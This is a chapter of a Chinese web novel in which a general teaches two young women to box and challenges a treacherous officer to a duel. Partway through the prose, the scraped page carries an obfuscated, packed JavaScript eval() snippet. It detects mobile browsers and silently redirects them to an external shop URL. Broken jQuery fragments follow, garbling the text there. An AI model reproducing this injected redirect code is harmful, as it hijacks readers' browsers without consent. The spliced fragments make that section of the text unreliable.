105. 生死刀搏武榜眼斗武探花(一)^^……
    第一百零五章生死刀搏武榜眼斗武探花(一)

    (蔻燎)

    俞冠楚缄默不言。

    娄清意冷哼一声,一把扯断俞冠楚胸口的菩提串金佛的赝品项链,菩提果“哒哒哒”掉了一地,疏疏散在地上。炫目璀璨的金佛孤零零地跌在床角,被阴影遮蔽得黯淡发灰。

    他哂笑,“随意,反正我活着也是无趣,日后你们想怎样,我都无话可说。不过——”

    眸珠一溜,他自袖口翻出两粒红丸,自己吞下一颗,又将另一个使劲塞俞冠楚嘴里,阴测测一笑,“不过,你再陪我吃一次糖果,好吗?这糖,虽然比不上以前在忠国府吃的,但也能安慰安慰眼下枯萎的心灵,不是吗?”

    俞冠楚想吐出那来路不明的糖果,却被娄清意死死捂着嘴巴,强行吞咽下去,怒目道,“骆军医,你何必如此?”趁他受伤严重,故意干这些恶心事。

    娄清意幽幽道,“俞冠楚,你吃下吧,届时你想哄我跟着你们走,我也毫无怨言,因为,我知道,我无论如何也逃不了了,过不了多久,我就是你们争破了头都想要的工具。”

    他缓缓然把菩提果串金佛的坠子栓在腰上,重新穿好衣物,整理仪态,说了一句无限悲凉的话,冷着一张脸推门走了。

    恍如做梦。

    俞冠楚只觉方才娄清意的一通发自肺腑的自曝话语,震得他心口空落落的,想说什么又言语不出。

    不过还好,他们至少确定了骆弥长就是苦苦寻觅的皇家私生子娄清意。

    嗓子甜腻腻的,齁喉至极,俞冠楚咽了咽唾沫,把那股不自然的味道给淡化了去,目下是睡不着了,得找个时间将娄清意所言告知正道从,阿厢,还有百里皓质。

    风城的校场,摩肩接踵,人声鼎沸。

    柳厢去校场的路上顺带到乔琼乔玑的屋子把两人给捎上,乔琼乔玑跟着柳厢来到人头攒动的全是赤膊男子的校场,大惊失色,手足无措。

    乔琼瞥一眼身旁一位袒胸露乳的壮汉在抱着估摸一两百斤的巨石负重步行,嘴巴张得比鸡蛋还大,她看向柳厢,支支吾吾道,“柳将军,这……这……你叫我们过来是想——”

    乔玑也接上话,花容狼狈,“柳将军,你肯定不是让我们过来看这些臭男人练武的吧?”

    柳厢叉着腰,摇摇头否认她们的猜测,单刀直入道,“自然不是,我是打算教你们一些基础的武功,比如拳法,腿法,剑法,像他们这些耗费力气的锻炼你们就不必学了,那石头稍不注意能把自己砸扁。”

    话语一休,那位抱着巨石前行的士兵手掌一滑,巨石轰然落地,恰好砸到他的脚板,疼得他捂着脚在地上“哎呦哎呦”地打滚,好不可怜。

    柳厢秀眉一挑,走过去朝着那士兵的屁股就是一脚,“量力而行!你得明白自己几斤几两,干嘛弄那么重?莫不是看见有漂亮姑娘过来就故意想卖弄气力吧?”

    校场中的一群士兵闻言,无一不捧腹大笑,颠来倒去地看笑话,一些不嫌事大的士兵指着那抱巨石的士兵冷嘲热讽,“就是,就是,你就是想在姑娘家面前表现。”

    一记眼刀射过去,柳厢冷冷地嗤笑。

    众士兵见今日的柳将军情绪不大稳定,噤若寒蝉,各自去练各自的技能,围成圈的人群渐渐散了去。

    乔琼扇了扇鼻子,似乎想赶走臭烘烘的汗味,不可置信道,“柳将军,你方才说得是真的吗?你真的要教我和妹妹习武?可是,可是我们现在还来得及吗?”

    乔玑眨眨眼睛,发出疑虑,“柳将军,我们现在练,啥时候能有所成就?”

    柳厢拍了拍她们的肩膀,言辞凿凿,掷地有声,“本将军明白你们的顾虑,完全不打紧。虽然习武得是自幼开始,锻炼童子功,如此才容易有无尽的上限,但是你们现在学也不晚。能有一套防身之法总比什么都不会,遇见危险只能等着旁人来救要好得多,你们说对与不对?”

    “对,柳将军说得对。”

    乔琼乔玑忙不迭点头附和。

    得到认可,柳厢笑靥如花,寻了一处宽敞的地方,让乔琼乔玑仔细看她演示。

    “我们习武之人打拳,拳头得要聚力,五指紧握,将手臂的力量汇至你的拳头上,切忌,打得时候不要拳头松松垮垮,指头抓不紧,这样下去不是你打别人,而是留着机会让别人回拳收拾你。”

    “看我的手,这样握住五个手指头,我们应该怎么打出去呢?拳头要硬挺挺地径直挥出,手臂千万不能歪斜,那样聚不了力,软趴趴的有什么用?还有,看清楚,我们打敌人的时候,不是以你拳头的指面去打,而是用攥紧的拳头上凸起来的骨节去攻击敌人,如此,又硬又准,你的招式才不会白来一次。通常来讲,拳法有插拳,截拳、挂拳、挡拳、扎拳、套拳、穿拳、拦手拳……不胜枚举。今儿就不一一学了,先从最简单的开始,学会打直拳。来,你们现在试试怎么握拳,怎么挥出去!”

    她一面讲一面舞动拳风,在乔琼乔玑眼前巨细无遗地展示,认真得每一根头发丝都在散发魅力。

    乔琼乔玑听得津津有味,待柳厢停下动作,不约而同鼓起了手掌。

    柳厢道,“别害怕,试一试,我在这里帮你们看着,适时纠错。”

    两人“嗯”了一声,壮着胆量按照柳厢所教的内容使劲朝空气挥了一拳,那模样不乏可爱。

    柳厢哈哈大笑,搂过两人的肩,循循指导道,“很好,动作相对来说没什么大问题,就是这个劲儿还是不足,你们得再练练。你们放心,等教会了各种拳法,本将军还要教你们腿法,运用基础的武器,当然,火铳和燧发枪你们要是感兴趣,本将军也会认认真真的倾囊相授。如何?”

    乔琼道,“柳将军,你为什么对我们这样好?为什么愿意教我们武能?”

    乔玑道,“以前我们还不是罪臣之女的时候,父母只要求我们知书达理,善通琴棋书画,哪里会叫我们学这些……柳将军,谢谢你能教我们练武,谢谢你在扬沙关照顾保护我们。”

    莞尔一笑,柳厢语重心长道,“不必言谢,本将军教你们这些东西,不过是想告诉你们,在这个世界上万万不能奢求任何人来保护你,我也不能保护你们一辈子,能保护你们的只有自己。所以,你们必须强大起来,远远超过大睦士兵!”

    “明白了,多谢柳将军!”

    两人说着说着,泪眼婆娑,几欲动情哭泣。

    柳厢柔声道,“好啦,不要掉眼泪啊,哭花了脸可就浪费了你们精心化好的美美的妆了,来!继续!你们再试一试!”指着一个俘虏不倒翁,示意这一次对着上面打。

    “好!”

    乔琼乔玑点头称是,两人砸紧拳头,狠狠地朝俘虏不倒翁击出一拳,“砰砰”,俘虏不倒翁摇摆不定,晃悠来去,仿佛受到不小的暴击

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13414183|124012||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    环抱臂膀的柳厢凝视乔琼乔玑的动作,时不时拍拍手鼓励她们。

    她这边将将拍完手,耳畔乍起一道突兀的断断续续的鼓掌声,像击鼓一般,有着浑厚的力度。

    寻声望去,目光驻留在一位身披黑色的将领甲胄,腰悬长刀,挺拔如松的俊朗男子脸上。

    柳厢几不可闻地嗤一声,安之若素,“闫都尉,你也来练武?”

    这辈子最精湛的演技都挤在这一刻了吧,她恨不得扑过去撕碎害死卷丹和妙语的幕后凶手闫钰。

    “嗯,柳将军,你在教她们学武吗?”

    踱步逼近,闫钰扫一眼乔琼乔玑卖力苦练的模样,嬉笑道,“末将原以为世间像柳将军这样武艺精绝的女子屈指可数,物稀为贵,没成想,柳将军不甘这样的女子太过稀少,自告奋勇要多多培养一些善武的女子。此情此举,末将,佩服。”

    “可是——”

    他话锋陡变,语音暗藏阴阳怪气,“女子到底是女子,无论是力量还是外形都不及男子一半,就譬如乔琼乔玑二位姑娘,她们的拳头能有多大?在校场上随随便便找一名士兵过来,他们的拳头都能包住二位姑娘的,即便如此苦练,也是无济于事,抵不过男女的悬殊力量。柳将军,你意下如何?”

    “是吗?”

    讥嘲,柳厢抱着胳膊,肆无忌惮地狂笑,不屑一顾,“按闫都尉的意思,本将军再如何练武,也徒劳无益,打不过你咯?”

    “岂敢,末将不是这个意思。”

    “那你是什么意思?有本事直截了当地把话撂出来,拐弯抹角羞--辱谁呢?依本将军看,闫都尉今日闲暇,不如你我来好好地打一场,分出个高低胜负,本将军到要看看你狗嘴里的男女力量悬殊,算个什么屁!”

    她冷笑道,“兵家大忌的其中之一——便是轻敌冒进,闫都尉年纪轻轻怕是患了这个臭毛病!”

    初次被柳厢辱骂“狗嘴”,闫钰脸侧肌肉一抽,控制面目表情,拱手一礼,“那,末将就恭敬不如从命了。”

    校场里人山人海的大睦士兵闻言柳将军要与闫都尉比武,兴奋得立马腾出场地,邀着两位重要人物进入一架高擂台。

    付庚重眼下离开风城去了无垠国地段帮阿阵镇压暴动,不知这边的校场会上演一番好戏,若他在此,绝不会有闫钰和柳厢对打的机会。可惜他不在。

    柳厢得知一切真相后,对一脸平易近人的闫钰恨之入骨,她刻意借此打斗机会要狠狠地教训教训这不识好歹,心腑狡诈的背后小人。

    不知闫钰明不明白柳厢的心思,他的神情安然自若,一副期待和柳厢比武的热切模样。

    半年多之前,柳厢和闫钰第一次见面是在百里京的武举之地——较量台,两人同为武进士,聊得志趣相投,打成一片,他们共同练习比赛项目,互帮互助,好得如同亲兄弟。

    柳厢依稀还记得,有一次她与皇家摔跤手比赛,赢了比赛后,被皇家摔跤手偷袭踹下了擂台,背脊受伤,闫钰还贴心地帮她带回了晚饭……

    为什么?明明当时的闫钰开朗活泼,善良有趣,为什么他会变成如今面目可憎,心胸奸险的人?

    柳厢愈想愈恨,眼眶猩红,银牙狠咬。

    抛开斜挂在腰的剪水银练弯刀,柳厢取下另一把御赐玄铁腰刀,横举在前,铿锵道,“闫都尉,今儿咱们用同样的武器比试,如何?”